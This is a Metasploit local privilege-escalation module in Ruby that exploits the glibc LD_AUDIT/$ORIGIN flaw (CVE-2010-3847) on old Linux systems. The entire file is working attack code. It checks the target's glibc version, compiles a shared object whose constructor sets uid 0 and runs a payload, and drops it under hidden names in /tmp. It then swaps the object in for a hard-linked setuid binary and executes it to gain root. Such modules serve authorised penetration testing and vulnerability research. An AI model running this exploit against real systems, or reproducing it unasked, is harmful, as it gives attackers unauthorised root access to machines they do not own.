##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
        'Description' => %q{
          This module attempts to gain root privileges on Linux systems by abusing
          a vulnerability in the GNU C Library (glibc) dynamic linker.

          glibc `ld.so` versions before 2.11.3, and 2.12.x before 2.12.2 does not
          properly restrict use of the `LD_AUDIT` environment variable when loading
          setuid executables which allows control over the `$ORIGIN` library search
          path resulting in execution of arbitrary shared objects.

          This module opens a file descriptor to the specified suid executable via
          a hard link, then replaces the hard link with a shared object before
          instructing the linker to execute the file descriptor, resulting in
          arbitrary code execution.

          The specified setuid binary must be readable and located on the same
          file system partition as the specified writable directory.

          This module has been tested successfully on:

          glibc 2.5 on CentOS 5.4 (x86_64);
          glibc 2.5 on CentOS 5.5 (x86_64);
          glibc 2.12 on Fedora 13 (i386); and
          glibc 2.5-49 on RHEL 5.5 (x86_64).

          Some versions of `ld.so`, such as the version shipped with Ubuntu 14,
          hit a failed assertion in `dl_open_worker` causing exploitation to fail.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Tavis Ormandy', # Discovery and exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2010-10-18',
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [
          ['Automatic', {}],
          ['Linux x86', { 'Arch' => ARCH_X86 }],
          ['Linux x64', { 'Arch' => ARCH_X64 }]
        ],
        'References' => [
          ['CVE', '2010-3847'],
          ['BID', '44154'],
          ['EDB', '15274'],
          ['URL', 'https://seclists.org/fulldisclosure/2010/Oct/257'],
          ['URL', 'https://www.ubuntu.com/usn/usn-1009-1'],
          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847'],
          ['URL', 'https://access.redhat.com/security/cve/CVE-2010-3847']
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('SUID_EXECUTABLE', [true, 'Path to a suid executable', '/bin/ping'])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir']
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def check
    v = Rex::Version.new glibc_version
    return CheckCode::Safe('Could not determine the GNU C library version') if v.eql? ''

    if v >= Rex::Version.new('2.12.2') ||
       (v >= Rex::Version.new('2.11.3') && v < Rex::Version.new('2.12'))
      return CheckCode::Safe("GNU C Library version #{v} is not vulnerable")
    end

    vprint_good "GNU C Library version #{v} appears vulnerable"

    return CheckCode::Safe("#{suid_exe_path} file not found") unless file? suid_exe_path
    return CheckCode::Detected("#{suid_exe_path} is not setuid") unless setuid? suid_exe_path

    vprint_good "#{suid_exe_path} is setuid"

    return CheckCode::Detected("#{suid_exe_path} is not readable") unless readable?(suid_exe_path)

    vprint_good "#{suid_exe_path} is readable"

    CheckCode::Appears
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def exploit
    check_status = check

    if check_status == CheckCode::Appears
      print_good 'The target appears to be vulnerable'
    elsif check_status == CheckCode::Detected
      fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
    else
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
    base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
    if suid_partition == base_partition
      vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
    else
      print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
    end

    payload_name = ".#{rand_text_alphanumeric 5..10}"
    payload_path = "#{base_dir}/#{payload_name}"

    # Set target
    uname = kernel_hardware
    vprint_status "System architecture is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when 'x86_64'
        my_target = targets[2]
      when /x86/, /i\d86/
        my_target = targets[1]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    cpu = nil
    case my_target['Arch']
    when ARCH_X86
      cpu = Metasm::Ia32.new
    when ARCH_X64
      cpu = Metasm::X86_64.new
    else
      fail_with Failure::NoTarget, 'Target is not compatible'
    end

    # Compile shared object
    so_stub = %|
      extern int setuid(int);
      extern int setgid(int);
      extern int system(const char *__s);

      void init(void) __attribute__((constructor));

      void __attribute__((constructor)) init() {
        setuid(0);
        setgid(0);
        system("#{payload_path}");
      }
    |

    begin
      so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
    rescue StandardError => e
      print_error "Metasm encoding failed: #{$ERROR_INFO}"
      elog('Metasm encoding failed', error: e)
      fail_with Failure::Unknown, 'Metasm encoding failed'
    end

    # Upload shared object
    so_name = ".#{rand_text_alphanumeric 5..10}"
    so_path = "#{base_dir}/#{so_name}"
    upload_and_chmodx so_path, so

    # Upload exploit
    link_name = ".#{rand_text_alphanumeric 5..10}"
    link_path = "#{base_dir}/#{link_name}"
    fd = rand(3..9)
    exp = %(
      rm -rf '#{link_path}'
      mkdir '#{link_path}'
      ln #{suid_exe_path} #{link_path}/#{link_name}
      exec #{fd}< #{link_path}/#{link_name}
      ls -l /proc/$$/fd/#{fd}
      rm -rf '#{link_path}'
      ls -l /proc/$$/fd/#{fd}
      mv #{so_path} #{link_path}
      LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
    )

    exp_name = ".#{rand_text_alphanumeric 5..10}"
    exp_path = "#{base_dir}/#{exp_name}"
    upload_and_chmodx exp_path, exp
    register_file_for_cleanup link_path

    # Upload payload
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit...'
    # The echo at the end of the command is required
    # else the original session may die
    output = cmd_exec "#{exp_path}& echo "
    output.each_line { |line| vprint_status line.chomp }
  end
end
